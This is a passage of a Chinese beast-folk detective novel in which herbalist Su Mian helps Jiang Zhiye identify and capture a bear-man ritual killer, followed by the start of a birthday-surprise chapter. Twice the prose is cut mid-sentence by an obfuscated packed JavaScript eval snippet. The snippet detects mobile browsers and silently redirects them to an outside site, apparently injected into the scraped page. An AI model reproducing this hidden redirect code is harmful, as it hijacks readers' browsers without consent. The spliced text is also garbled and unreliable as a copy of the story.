她忽然明白,江知烨之前说的“不堪的场面”和“刀光剑影”,远比她想象的要可怕得多。这不是简单的伸张正义,而是面对一个内心扭曲、信奉暴力法则的疯子。 但不知为何,恐惧之余,她心里那股想要查明真相、不让凶手逍遥在外的念头,却更加坚定了。 她知道,自己的考验,从这一刻才真正开始。而她的草药知识,能不能在这诡异的案件中,找到一丝突破口,她不知道。但她必须试试,为了那个死去的人,也为了她心中的那份信念。 45. 草木蛛丝 现场勘察完毕,尸体被小心地收敛,由老陈仵作带回府衙进一步检验。江知烨则带着顾氏兄弟和苏棉,在窑厂周围展开了更细致的搜索。 乌云终于散去,夕阳的余晖透过稀疏的云层洒下来,给这片荒凉的窑厂镀上了一层诡异的金色。苏棉跟在江知烨身后,目光依旧在地面上逡巡,寻找着任何可能被忽略的植物痕迹。 “江大人,”苏棉忽然停下脚步,蹲在一丛长势茂盛的野草前,“您看这里。” 江知烨和顾氏兄弟立刻围了过来。只见苏棉所指的地方,野草中有一小片区域的草叶呈现出不正常的枯黄,而且地面上似乎有被重物压过的痕迹,虽然已经被风吹得有些模糊,但边缘还能看出不规则的形状。 “这里的草枯了,”苏棉解释道,“而且不是自然枯萎,像是被某种腐蚀性的液体滴落导致的。”她用木签小心翼翼地挑起一点枯黄的草叶,放在鼻尖闻了闻,“有股淡淡的……像是石灰和某种植物汁液混合的味道。” 顾时夜皱眉:“腐蚀性液体?凶手在这里处理过什么东西吗?” “有可能。”江知烨蹲下身,仔细观察着那片区域,“地面有压痕,说明凶手可能在这里放置过什么东西,或者……处理过尸体的某些部分?”他想起死者被取走的心脏,“那颗心脏,到现在还没找到。” 苏棉又在周围搜索了一番,忽然在不远处的一个土坑边缘,发现了几根更细小的白色粉末,和之前在窑洞内看到的极其相似。 她连忙指给江知烨看:“江大人,这里也有!” 江知烨眼神一凛:“看来这种粉末,是凶手留下的关键线索之一。苏棉姑娘,你确定这东西你见过类似的?” “嗯,”苏棉点头,眉头微蹙,“让我想想……对了!有点像我阿爹以前配过的一种‘固魂散’里的成分!不过固魂散是用在丧葬仪式上的,据说能防止‘魂飞魄散’,里面含有煅烧过的龙骨粉、朱砂,还有一种叫‘镇魂草’的草药研磨成的粉末。不过镇魂草性温,味道是香的,而这个粉末有苦味,应该不是镇魂草,而是另一种类似的草药,或者……是某种有毒的植物?” “固魂散?丧葬仪式?”江知烨若有所思,“凶手用这种东西做什么?难道和他那个所谓的‘仪式’有关?” 顾夜白忍不住道:“这凶手也太变态了,杀人就算了,还搞这些神神叨叨的东西。” “他不是神神叨叨,”江知烨站起身,拍了拍手上的泥土,“他是在用他自己的方式,构建一套他认为‘合理’的法则。他的行为是有逻辑的,只是这套逻辑建立在他扭曲的世界观上。” 他们继续搜索,在窑厂外围的一条小溪边,顾时夜发现了一些脚印。 脚印很深,说明留下脚印的人体型高大,而且鞋底的纹路很特殊,像是某种兽爪的形状,但又经过了加工,可能是特制的靴子。 “是肉食系兽人的脚印,而且块头不小。”江知烨判断道,“符合我们之前的推测,凶手是偏执的肉食系兽人。” 就在这时,苏棉的目光被溪边生长的一丛植物吸引了。那是一丛开着小白花的草本植物,叶子呈锯齿状,散发着一股淡淡的清香。她走近一看,脸色微变:“这是……‘清心草’,是一种很常见的安神草药,但它的根皮捣碎后,汁液涂在皮肤上,可以暂时抑制兽人血脉中的狂暴气息,让情绪平复下来。” 她顿了顿,指着其中几株清心草,它们的叶子上有明显的被采摘过的痕迹,而且断口很新鲜:“这里的清心草被人摘过,就在不久前。” 顾时夜闻言一愣:“抑制狂暴气息?难道凶手……他在杀人之后,需要用这东西来平复自己的情绪?” “很有可能。”江知烨的眼神变得锐利起来,“一个信奉‘兽性本能’的凶手,却需要用清心草来抑制自己的狂暴?这本身就很矛盾。要么,他在杀人时处于一种极度亢奋的状态,事后需要冷静;要么,他内心深处,对自己的行为也并非完全坦然,需要借助药物来安抚。” 苏棉补充道:“清心草的根皮汁液效果温和,一般用于调理心神,很少有人会专门用它来抑制兽人血脉。除非……除非他不能用更强烈的药物,或者他本身对某些药物过敏。” “过敏?”江知烨捕捉到了这个关键词,“如果他对某些常用的镇静药物过敏,那说明他的体质可能比较特殊,或者……他有长期服用某种药物的习惯,导致身体产生了抗药性或过敏反应。” 这些线索一点点汇聚起来,虽然还很零散,但已经勾勒出了凶手的一些特征:体型高大的肉食系兽人,可能从事与泥土、矿石相关的工作(白色粉末),熟悉草药(血盏花、清心草),有一定的解剖学识,性格偏执,信奉“兽性法则”,可能需要用清心草来平复情绪,甚至可能对某些药物过敏。 “江大人,”顾夜白这时开口,“我们要不要去查一下,南清城附近,有没有人种植血盏花?苏棉姑娘说那是人工培育的,这东西有毒,应该没多少人敢种。” “这个方向可以。”江知烨点头,“时夜,你带人去城西的花市和苗圃问问,有没有人见过或卖过血盏花。夜白,你去查一下最近城中有没有失踪人口,看看死者的身份能不能确认。” “是!”顾氏兄弟领命而去。 江知烨看向苏棉:“苏棉姑娘,今天辛苦你了。你发现的这些线索很重要。现在有件事需要你帮忙。” “江大人您说,我一定尽力。”苏棉连忙道。 “你能不能把今天在现场看到的那种白色粉末,尽可能准确地描述出来,或者……能不能试着还原一下它的成分?”江知烨问道,“这可能是找到凶手的关键。” 苏棉想了想,认真道:“我需要把那些粉末带回去,用我的工具仔细检验一下,看看里面到底有什么。不过现场的粉末不能随便动,得老陈仵作那边取样才行。” “没问题,我让老陈给你留一份样本。”江知烨道,“另外,关于那个‘固魂散’,你能不能详细说说,都有哪些人会用这个?” “固魂散一般是丧葬铺或者专门主持丧葬仪式的人会用,”苏棉解释道,“有些讲究的人家,在亲人下葬时会让风水先生或者巫师撒一些,图个心安。不过这东西因为含有龙骨粉和朱砂,价格不便宜,普通人家很少用。” “丧葬铺……风水先生……”江知烨低声重复着这些词,眼神深邃,“一个信奉‘兽性法则’的凶手,却用着和丧葬仪式相关的粉末,这其中有什么联系吗?” 苏棉也想不明白,只能摇摇头。 “罢了,先不要妄下结论。”江知烨道,“你先回去,尽快检验那粉末的成分。有什么发现,立刻通知我。” “好的,江大人。”苏棉点头,背着药篓,转身离开废弃窑厂。夕阳将她的影子拉得很长,虽然身形依旧显得单薄,但步伐却很坚定。 回到自己的小药铺,苏棉立刻找出了所有可能用到的工具:小小的研钵、用一块打磨过的水晶片制成的放大镜、瓷碟、镊子等等。没过多久,老陈仵作那边就派人送来了一小包从现场提取的白色粉末样本。 苏棉小心翼翼地打开纸包,将粉末倒在瓷碟上。她先是用放大镜仔细观察粉末的颗粒形状和颜色,然后用镊子取了一点点,放在舌尖轻轻舔了一下,她知道这很危险,但为了准确判断,还是冒险试了。 苦味更明显了,还有一种涩涩的感觉,确实有土腥味,但除此之外,还有一丝极其微弱的、类似于金属的味道。 她又取了一点粉末,放在研钵里,加入少量的清水,轻轻研磨。粉末遇水后,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“蚀心草!”苏棉猛地抬起头,眼中闪过一丝光亮,“对,就是它!蚀心草有小毒,味道极苦,而且它的粉末确实常被用来作为药引,增强其他药物的效果。但它本身是有毒的,很少单独使用,一般都是经过特殊炮制后,少量添加。” 她又想起了窑厂外那片枯黄的野草,被腐蚀性液体滴落的痕迹。蚀心草的汁液加上朱砂和龙骨粉,混合在一起,会不会产生某种腐蚀性? 苏棉越想越觉得有可能。那么,凶手为什么要把蚀心草、朱砂、龙骨粉混合在一起,制成这种白色粉末?是用于他那个诡异的“仪式”,还是有其他用途? 就在这时,药铺的门被敲响了。 “苏棉姑娘,是我,顾时夜。”门外传来顾时夜的声音。 苏棉连忙起身开门,只见顾时夜一脸急切地站在门外,额头上带着汗珠。 “顾大哥,怎么样了?有什么发现吗?”苏棉问道。 顾时夜喘了口气,道:“我去城西问了,花市和苗圃都没人敢种血盏花,那东西太毒了。不过,我在城南的一个废弃菜园子附近,遇到一个老菜农,他说半个月前,看到一个戴着斗笠、身材很高大的男人,在菜园子旁边的荒地上鬼鬼祟祟地挖东西,他当时没在意,现在想想,那片荒地以前好像就长过血盏花!” “身材高大的男人,戴斗笠?”苏棉心中一紧,这和他们推测的凶手特征吻合。 “还有,”顾时夜继续道,“江大人让我告诉你,老陈仵作那边有了新发现:死者的指甲缝里,除了泥土,还残留着一些绿色的植物碎屑,老陈认不出来是什么,但觉得可能是某种草药。” 苏棉眼睛一亮:“草药碎屑?我能去看看吗?” “当然,江大人让我带你过去。”顾时夜道,“另外,夜白那边也有消息了,死者的身份确认了,是城东一家肉铺的学徒,名叫李柱,平时为人老实,没什么仇家。” 一个老实的肉铺学徒,为什么会被如此残忍地杀害,还被用作那种诡异仪式的“祭品”? 46. 兽性法则下的终结 理尚府的仵作房内,灯光昏黄,空气中弥漫着药水和用于保存尸体的特殊药水气味。 老陈仵作正在整理尸检报告,看到江知烨、顾时夜和苏棉进来,连忙站起身。 “江大人,苏棉姑娘。” “老陈,死者指甲缝里的植物碎屑呢?”江知烨开门见山。 “在这儿呢。”老陈拿出一个小小的瓷盒,里面放着一些用镊子夹取并妥善保存的绿色碎屑,“我仔细看了,不是普通的草叶,纤维结构很特殊,还有淡淡的清苦味,但我一时半会儿没认出来是什么。” 苏棉接过瓷盒,凑到灯光下,用随身携带的放大镜仔细观察。这些碎屑已经有些干枯,但依旧能看出其叶片的脉络和质地。叶片呈线形,边缘有极细的锯齿,纤维坚韧,颜色是深绿色,带着一点蜡质光泽。她又小心地取了一点点碎屑,放在鼻尖闻了闻,清苦的味道中,还夹杂着一丝不易察觉的……血腥气? 不,不是血腥气,更像是一种动物油脂的味道,被草药的味道掩盖了。 “我知道这是什么了。”苏棉抬起头,眼神肯定,“这是‘铁线草’的叶子。铁线草生长在潮湿的石缝里,叶片坚韧,有清热解毒的功效,本身没什么特别的,但它的汁液和动物油脂混合后,会产生一种粘性很强的物质,常用于……常用于皮革的软化和保养。” 她顿了顿,补充道:“死者是肉铺的学徒,平时接触动物油脂的机会很多,他指甲缝里有铁线草和动物油脂的混合物,这很合理。但问题是,他为什么会在死前接触到铁线草?或者说,凶手为什么会让他接触到铁线草?” 江知烨的眼神瞬间锐利起来:“皮革软化和保养……凶手可能从事与皮革相关的工作?” “很有可能。”苏棉点头,“铁线草汁液和动物油脂的混合物,是皮革匠常用的一种软化剂。” 这时,顾夜白也匆匆跑了进来,脸上带着兴奋的神色:“江大人,我查到了!死者李柱,最近半个月,经常在晚上偷偷去城南的‘万兴皮坊’附近徘徊!” “万兴皮坊?”江知烨皱眉,“我记得那家皮坊,老板是个熊族兽人,叫王大熊,出了名的脾气暴躁,不过手艺很好,做的皮具很受欢迎。” “对,就是他!”顾夜白道,“我问了李柱的邻居和肉铺老板,他们都说李柱最近好像心事重重,晚上经常出去,问他去哪也不说。后来有个邻居晚上起夜,看到他朝着万兴皮坊的方向去了。” “熊族兽人,王大熊……”江知烨低声念着这个名字,脑海中迅速勾勒出一个形象:体型高大健壮,符合脚印的特征;熊族属于肉食系,符合凶手的种族推测;皮坊老板,接触皮革和动物油脂,符合铁线草线索;而且,熊族兽人性格往往比较直接,甚至偏执,也符合凶手那种狂放偏执的行事风格。 “苏棉姑娘,”江知烨忽然看向苏棉,“你之前说的那种白色粉末,成分已经确定了吗?” “确定了,”苏棉连忙将自己的发现说了一遍,“是朱砂、龙骨粉和蚀心草粉末的混合物。蚀心草有小毒,混合朱砂后,可能会增强其毒性和渗透性。” “朱砂、龙骨粉、蚀心草……”江知烨的眼神越来越冷,“固魂散的成分,加上蚀心草,这东西撒在尸体周围,或者……涂在尸体上,有什么作用?” “如果是撒在周围,可能是为了营造某种‘仪式’的氛围,朱砂和龙骨粉在传统观念里有镇邪的作用,蚀心草的毒性则可能象征着‘净化’或‘毁灭’。”苏棉推测道,“如果是涂在尸体上……蚀心草的毒性加上朱砂,可能会加速尸体的某些变化,或者……让尸体散发出某种特殊的气味,吸引某种东西?” “吸引某种东西?”顾时夜一愣,“凶手想吸引什么?” “不知道。”苏棉摇摇头,“但这种粉末出现在现场,一定和凶手的那个‘兽性法则’有关。他认为杀戮是天经地义,却又用这些带有‘镇邪’和‘仪式’意味的东西,这本身就很矛盾,除非……” “除非他所谓的‘兽性法则’,在他自己看来,是一种需要被‘证明’和‘供奉’的东西,”江知烨接过话头,眼神冰冷,“他需要通过这种仪式,来强化自己的信念,或者……向某种他所信奉的‘天道’献祭。” 所有的线索,此刻终于汇聚到了一个点上:万兴皮坊的老板,熊族兽人王大熊。 “走!”江知烨当机立断,“去万兴皮坊!” 顾时夜和顾夜白立刻去召集戍卫,江知烨看了苏棉一眼:“苏棉姑娘,这次行动可能会有危险,你……” “江大人,我跟您一起去!”苏棉不等他说完,就坚定地说道,“我能认出他有没有使用过那些草药,也能帮着判断他的状态。” 看着苏棉眼中不容置疑的坚定,江知烨只好点了点头:“好,跟紧我,千万注意安全。” 一行人迅速赶到城南的万兴皮坊。此时已是深夜,皮坊的大门紧闭,里面却透出昏黄的灯光,还隐隐传来锤子敲打皮革的声音。 江知烨示意戍卫们包围皮坊,然后上前敲门,声音沉稳有力:“开门!理尚府办案!” 敲打皮革的声音骤然停止。片刻后,里面传来一个粗哑的声音:“谁?这么晚了敲什么敲!” “理尚府,江知烨!开门接受检查!”江知烨再次说道,语气带着不容置疑的威严。 门“吱呀”一声开了一条缝,露出一张长满络腮胡的脸,正是王大熊。他身材异常高大,肩膀宽阔,手臂上的肌肉线条清晰可见,穿着一件被汗水浸湿的皮围裙,眼神凶狠地看着门外的人:“江大人?这么晚了来我这儿干什么?我可没犯法!” 他的目光扫过人群,当看到站在江知烨身后的苏棉时,眼神中闪过一丝不易察觉的惊讶和……警惕? “有没有犯法,我们进去看看就知道了。”江知烨说着,不再废话,推门而入。 王大熊想阻拦,但被顾时夜和顾夜白一左一右架住了胳膊。 皮坊内弥漫着浓烈的皮革味、动物油脂味和一股淡淡的清心草的味道。 苏棉立刻捕捉到了这股气味,她环顾四周,只见在皮坊的一个角落里,放着一个陶盆,里面种着几株清心草,正是她在窑厂溪边看到的那种,而且也有被采摘过的痕迹。 “你这里为什么种着清心草?”苏棉立刻问道。 王大熊脸色一变,挣扎着吼道:“关你什么事!一个小丫头片子也敢管老子的事!” 江知烨眼神一冷:“搜!” 戍卫们立刻行动起来,在皮坊内仔细搜查。很快,有人在一个不起眼的木箱里,找到了几株新鲜的血盏花,和现场发现的一模一样!还有人在工作台的抽屉里,找到了一小包白色粉末,经过苏棉初步辨认,正是朱砂、龙骨粉和蚀心草混合的粉末! 最关键的是,顾时夜在皮坊后院的一个废弃水缸里,发现了一个用皮革包裹着的东西,打开一看,正是一颗已经有些变质的心脏! “王大熊!”江知烨拿起那包白色粉末,走到王大熊面前,眼神锐利如刀,“这是什么?血盏花,蚀心草粉末,还有这颗心脏!你还有什么话说!” 王大熊看着眼前的证据,脸上的凶狠渐渐褪去,取而代之的是一种近乎疯狂的偏执和激动。他猛地挣脱开顾时夜和顾夜白的钳制,但并没有逃跑,而是站在原地,指着江知烨,声音嘶哑地吼道: “我有什么错?!我有什么错!”他的眼睛赤红,像是一头被激怒的野兽,“我们是兽人!天生就有强弱之分!肉食者捕猎,草食者被猎,这是天道!是法则!从古至今就是如此!” 他指着苏棉,眼神轻蔑:“就像她!一个弱小的绵羊,凭什么也想出来抛头露面?凭什么也想‘伸张正义’?在真正的力量面前,她的那些草药知识,一文不值!” “李柱那个小子,他竟然想阻止我!他看到了我在荒地上挖血盏花,竟然跑来质问我,说我‘心术不正’,说我玷污了‘兽人’的身份!”王大熊的声音越来越激动,“可笑!他一个小小的肉铺学徒,也敢评判我?我只是让他明白,什么是真正的‘法则’!我剖开他的胸膛,取出他的心脏,那是给他的‘献祭’,是向天道证明,杀戮本就是生存的一部分!” 他指着墙上挂着的皮革制品,狂笑道:“你们看这些!哪一件不是用动物的皮做成的?你们吃的肉,穿的皮,难道就比我的杀戮更高尚吗?不过是五十步笑百步罢了!我们骨子里都是野兽,只不过我敢于承认,敢于遵循本心,而你们,却用所谓的‘规矩’和‘正义’把自己包裹起来,做着虚伪的事!” “够了!”江知烨厉声喝道,“你的歪理邪说,救不了你!捕猎生存,并非让你滥杀无辜,更不是让你用如此残忍变态的方式去‘证明’什么!你已经丧失了作为一个‘人’的底线,只剩下被扭曲理念支配的兽性!” “人?”王大熊嗤笑一声,眼神里充满了不屑和疯狂,“我从来没觉得自己是‘人’,我只是一头遵循本能的熊!而你们,才是忘了自己根本的可怜虫!” 他忽然猛地一跺脚,地面似乎都震动了一下。这是熊族兽人的狂暴前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694778|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆。 “小心!”江知烨立刻将苏棉护在身后,对顾氏兄弟和戍卫们喊道,“拿下他!” 皮坊内的空气骤然凝固。王大熊喉间发出震耳的咆哮,棕黑色的毛发根根倒竖,原本束在袖口的绷带被暴涨的肌肉崩成碎条。他猛地捶打胸膛,如同山野间护崽的公熊,腥风随着胸腔震动扑向最近的戍卫,下一秒手持腰刀的汉子只觉一股蛮力撞在面门,整个人像断线风筝般倒飞出去,后背撞碎了堆积的皮革货架,木屑混着硝制皮毛的气味炸起一片烟尘。 “围上去!别让他冲出去!”领头戍卫甩动铁尺发出锐响,其余四人呈扇形包抄。 但王大熊的动作远比看上去敏捷,他左掌横扫如鞭,两名戍卫举刀格挡的瞬间,腕骨传来“咔嚓”闷响,单刀脱手时已被他右掌攥住刀刃,指节捏得铁片迸出火星。更惊人的是他下盘的冲撞——右肩如铁锤撞向木柱,碗口粗的立柱“嘎吱”倾斜,腐烂的木屑溅在戍卫脸上,逼得众人连连后退。 “用绊马索!”江知烨的声音从侧后方响起。他矮身躲过扫来的熊掌,腰间革囊甩出三枚铜铃,叮当脆响让王大熊猛地偏头。就在这刹那,顾时夜从梁柱后扑出,手中浸过桐油的兽筋绳如灵蛇般缠住熊人的脚踝。那绳索本是猎户捆缚猛兽所用,混着野牛皮筋的韧性让王大熊踉跄半步,却激起更凶的兽性。他嘶吼着捶打地面,震得石板缝里渗出泥浆,顾夜白趁机从另一侧甩出绳套,却被他反手抓住绳头,硬生生将他拽得离地。 “锁关节!”江知烨足尖点地跃到货架上,抽出腰间软剑缠住王大熊挥来的手臂。剑身缠住肘部的瞬间,顾氏兄弟同时发力,兽筋绳绕住熊人的肩颈与膝弯。这畜生此刻才像被激怒的野熊,用后脑猛撞顾时夜的面门,听得“噗”一声闷响,顾时夜鼻血直流却死拽着绳结不放。江知烨看准空当,软剑缠上他手腕猛地后拉,配合顾夜白从下往上的绳力,硬生生将王大熊的胳膊别到身后。 “嗤啦——”熊人扯断最后一道阻力时,胸口已被三道兽筋绳交叉捆紧。他像被陷阱困住的巨熊般轰然倒地,背脊撞翻鞣皮的石槽,泥浆混着血水溅了在场所有人的半身。但绳索的韧性随着他的挣扎越收越紧,勒得他喉间发出困兽的呜咽,前掌徒劳地抓挠地面,指甲在石板上划出串串火星。 当江知烨用剑鞘敲中他后颈麻筋时,这头狂暴的熊族终于发出一声沉闷的低吼,庞大的身躯重重砸在皮料堆里,只余下粗重如鼓的喘息。 被制服的王大熊还在不停地嘶吼着他的“兽性法则”,眼神狂热而偏执。 看着被押走的王大熊,皮坊内恢复了寂静,只有空气中残留的皮革味、血腥味和清心草的味道,交织成一种诡异的气息。 苏棉站在江知烨身后,看着眼前的一切,心脏还在砰砰直跳。刚才的搏斗虽然短暂,但王大熊那狂暴的力量和疯狂的眼神,让她真切地感受到了危险。但同时,一种巨大的成就感也涌上心头——她用自己的草药知识,帮助找到了线索,最终协助抓获了凶手。 江知烨转过身,看着苏棉,脸上露出了赞许的笑容,那笑容里带着一丝如释重负:“苏棉姑娘,这次多亏了你。如果不是你认出了那些草药和粉末,我们可能还找不到这么快。” 顾时夜和顾夜白也走了过来,顾时夜揉着被撞疼的胳膊,咧嘴笑道:“苏棉姑娘,你可真行!没想到你那认草药的本事,这么管用!” 顾夜白也跟着点头:“就是就是,以后我们办案,可少不了你了!” 苏棉的脸颊微微泛红,有些不好意思,但心里却像吃了蜜一样甜。她看着江知烨,认真地问道:“江大人,那……我是不是可以加入理尚府了?” 江知烨看着她眼中闪烁的光芒,那是经历了危险和考验后,更加坚定和明亮的光芒。他爽朗地笑了起来,点了点头:“当然!理尚府需要你这样细心、肯钻研,又有勇气的人。欢迎你,苏棉。” “谢谢江大人!”苏棉的脸上绽开了灿烂的笑容,像春日里最绚丽的花朵。 暮春的夜风吹进皮坊,吹散了些许血腥气,带来了远处青草和泥土的清新味道。苏棉知道,从这一刻起,她的人生将翻开新的一页。她不再只是药铺里那个认药的绵羊姑娘,她成了理尚府的一员,一个真正能够用自己的方式,去伸张正义、守护一方安宁的人。 她的优势,不在于飞檐走壁,不在于潜水搏斗,而在于她对草木的了解,对细节的观察。这些看似柔弱的能力,在面对复杂案件时,却能像青草的微光一样,照亮黑暗中的蛛丝马迹,最终指引向真相。 47. 秘火 南清城的春末,风里还带着柳絮的轻软,却已藏了几分燥热。安德鲁站在城西的飞檐阁顶,俯瞰着下方鳞次栉比的屋宇。 “都安排好了?”身后传来江知烨爽朗的声音,带着几分压低的笑意。 他走到安德鲁身边,顺着他的目光望向城中最繁华的正街,“从城门到中心广场,二十里长街,绸缎庄的红绸全被我们包圆了,这会儿应该已经挂满了。顾时夜那俩小子带着人在搭舞台,柳漠澜盯着匠人做最后的装饰,白鸽……”江知烨顿了顿,看向远处一道悄无声息掠过屋顶的黑影,“他去传最后一道口信,让各坊主今晚按时辰放花火。” 安德鲁点点头,喉结轻轻滚动。他一向沉稳,此刻眼底却漾着不易察觉的紧张,像是藏了一捧即将燎原的秘火。 “不能有半点疏漏,”他声音低沉,“我要她推开窗的第一眼,看到的就是整个南清城为她庆生。” “放心,”江知烨拍了拍他的肩膀,“方妙那丫头心思单纯,前几日你故意带她去城外采药,我们这边早就动起来了。顾时夜还骗她说城里要办什么‘夏日祭’,让她别多问,只管当天穿得漂亮些。” 提到方妙,安德鲁的嘴角不自觉地弯起。他想起小丫头总是睁着一双亮晶晶的眼睛,蹦蹦跳跳地跟在他身后,手里捧着刚采的野花,叽叽喳喳地说个不停。 今年的生辰,他想了很久,不能同之前那样只是寻常的一桌酒菜,一匣首饰。 她值得这世间所有的盛大与惊喜,要让她知道,她在他心里,是比南清城的灯火还要璀璨的存在。 “那套红裙……”安德鲁忽然开口,又有些犹豫。 “早让漠澜盯着绣坊做好了,”江知烨了然地笑,“据说是用了从西域运来的云锦,上面绣的是你说的那种……叫什么来着,‘茉莉花’?漠澜那家伙,看着十指不沾阳春水,手底下的活儿倒细致,连滚边的金线都是他亲自挑的。” 回想起去年那套衣裳,江知烨骄傲地下巴快昂到天上去了。 正说着,一道白影悄无声息地落在两人身边,:“花火坊那边确认了,戌时三刻准时点燃,从广场中心向四周散开,能照亮半座城。” 安德鲁深深吸了口气,夜风吹动他的衣摆,带着远处传来的隐约喧嚣。顾时夜和顾夜白在指挥工人搬运舞台道具,时不时夹杂着顾夜白清脆的笑骂:“哥!你那梯子歪了!当心砸着人!” “行了,你去帮他们盯着,别让那俩小子玩脱了,”江知烨对白鸽摆摆手,白鸽颔首,又化作一道轻烟般的影子消失在视线里。 江知烨转向安德鲁,“时辰不早了,你也该回去了,别让方妙起疑。明天……就看你的了。” 安德鲁点点头,最后看了一眼被夜色笼罩却已暗藏玄机的南清城,转身跃下阁楼。 回到城东的小院时,窗纸还透着暖黄的灯光。安德鲁推开门,方妙果然还没睡,正趴在桌上摆弄着一束刚晒干的薄荷叶,见他回来,立刻蹦起来,眼睛亮晶晶的:“安德鲁!你回来啦!今天城里好多人在挂红绸子,顾时夜说是夏日祭,可我怎么没听说过这个节日呀?” 她穿着一件浅粉色的寝衣,头发松松地挽着,几缕碎发垂在脸颊旁,显得格外娇憨。安德鲁走过去,习惯性地抬手替她拢了拢碎发,指尖触到她温热的肌肤,心中的紧张便散了几分:“许是今年新办的,你且等着,明天去了就知道了。” “哦……”方妙歪着头,似懂非懂,“对了,知烨刚才让人送来了一个盒子,说是给我的‘夏日祭’礼物,让我明天才能打开。你说会是什么呀?”她指着桌上一个精致的朱漆木盒,眼里满是好奇。 安德鲁心中一笑,面上却不动声色:“许是件新衣裳,你不是总说没什么喜庆的颜色吗?” “真的吗?”方妙眼睛更亮了,凑过去轻轻摸了摸木盒,“那我明天一定要早点起来!” 看着她毫无防备的笑脸,安德鲁心中那捧秘火燃烧得更旺了。他弯腰,在小丫头额头上轻轻吻了一下:“快睡吧,明天有的是热闹看。” 方妙脸颊微红,乖乖地点点头,钻进了被窝。安德鲁替她吹灭了灯,在她床边坐了一会儿,听着她渐渐平稳的呼吸声,才轻手轻脚地离开。 再过几个时辰,这座沉睡的城就会被唤醒,为他心爱的姑娘,绽放出最盛大的光芒。而他,将是那个点燃这场光芒的人。 ...... 第二天方妙是被一阵喧闹声吵醒的。 她揉着眼睛坐起来,窗外的天色已经大亮,不同于往日清晨的宁静,此刻满耳都是人来人往的喧哗,还有隐约的丝竹声和锣鼓声。 方妙想起昨晚那个朱漆木盒,连忙跳下床打开。里面果然是一件裙子,却是她从未见过的艳丽色彩——那是一种如同朝霞初绽般的正红色,面料光滑得像流动的云霞,上面用银线绣着细密的茉莉花纹样,裙摆处还缀着一圈细碎的银铃,轻轻一动便发出清脆的响声。 “好漂亮……”方妙忍不住伸手抚摸,触感细腻柔滑。她从未穿过如此喜庆的颜色,心里既兴奋又有点小紧张。于是赶紧换上裙子,对着铜镜转了个圈,银铃“叮叮当当”地响,衬得她原本就白皙的皮肤更加透亮,一双眼睛也像浸了水的绿宝石,闪闪发亮。 刚整理好裙摆,外面就传来了顾时夜和顾夜白的声音:“妙儿姐!准备好了没?快出来呀!” 方妙应了一声,连忙出去,只见顾时夜和顾夜白都穿着簇新的青色劲装,顾时夜手里还拿着一串糖葫芦,见了她立刻吹了声口哨:“哇!妙儿姐今天真美!跟这满街的红绸子一样,亮眼!” 顾夜白也跟着点头,眼睛亮晶晶的:“就是就是!安德鲁要是看见了,肯定得看傻了!” 方妙脸颊一红,嗔怪地看了他们一眼:“就知道打趣我。到底怎么回事啊?城里怎么突然这么热闹?” “哎呀,说了是夏日祭嘛!”顾时夜把糖葫芦塞给她,不由分说地拉着她就走,“快走快走,江大人和阿澜哥在前面等我们呢,还有更好看的在城中心广场呢!” 方妙被他们拉着,走在挂满红绸的街道上,街上的人比往常多了好几倍。 “知烨!阿澜哥!”顾时夜远远地挥手。 方妙抬头,只见江知烨和柳漠澜站在一个茶楼的门口。 “妙儿,”江知烨笑着招手,目光在她身上的红裙上顿了顿,赞许地点点头,“这身衣服很衬你。” 柳漠澜也微微颔首,:“好看。” “谢谢知烨!谢谢阿澜哥!”方妙开心地笑起来,手里的糖葫芦都忘了吃。 “走吧,去广场,”江知烨道,“重头戏还在后面呢。” 一行人朝着城中心走去。越靠近广场,人越多,喧闹声也越大。方妙被顾时夜和顾夜白护在中间,好奇地张望着四周。她看到有杂耍班子在表演吞火,有乐师在吹奏欢快的曲子,还有人在抛洒彩色的纸花,整个南清城都沉浸在一片欢腾的海洋里。 “夏日祭到底是什么啊?这么隆重?”方妙忍不住又问。 顾时夜和顾夜白对视一眼,都憋着笑,顾时夜含糊道:“哎呀,到了就知道了,保证让你惊喜!” 江知烨看了柳漠澜一眼,柳漠澜微微挑眉回应。方妙看着他们神秘兮兮的样子,心里越发好奇了。 终于,他们来到了城中心的广场。这里早已是人山人海,里三层外三层围满了人。广场中央搭起了一个巨大的露天舞台,铺着红色的地毯,四周装饰着无数红灯笼和绸花,比街上的景象还要壮观百倍。舞台上有一群穿着华丽服饰的舞者正在表演,舞姿曼妙,乐声悠扬,引得台下阵阵喝彩。 “哇……”方妙看得目瞪口呆,只觉得自己像是走进了一个梦幻般的世界。 江知烨找了个视野好的位置,让方妙站在最前面。 舞台上的表演一场接着一场,有惊险的走钢丝,有神奇的变戏法,还有激昂的鼓乐表演。每一场表演都引来台下雷鸣般的掌声和欢呼声,方妙看得眼花缭乱,小手都拍红了。 顾时夜凑到她耳边,大声喊道:“妙儿姐!好看吧?后面还有更厉害的呢!” 方妙用力点头,眼睛亮晶晶的:“嗯嗯!太好看了!” 江知烨看着她兴奋的样子,笑着对柳漠澜说:“看来安德鲁这小子没白忙活。” 柳漠澜淡淡“嗯”了一声,目光却望向了舞台后方的一处高楼。那里有一个不起眼的窗口,此刻正被一块红色的布幔遮挡着。 随着最后一曲鼓乐的结束,舞台上的表演者们依次退下,台下的喧闹声也渐渐平息下来,所有人都好奇地望着舞台,不知道接下来还有什么精彩的节目。 就在这时,一阵悠扬而神秘的乐声缓缓响起,不同于之前的欢快热烈,这乐声带着一种空灵的韵味,仿佛来自遥远的天际。 众人都安静下来,屏息聆听。 只见舞台中央,忽然升起一道细细的银线,直插云霄。紧接着,一个身影顺着银线,轻盈地跃上了舞台。 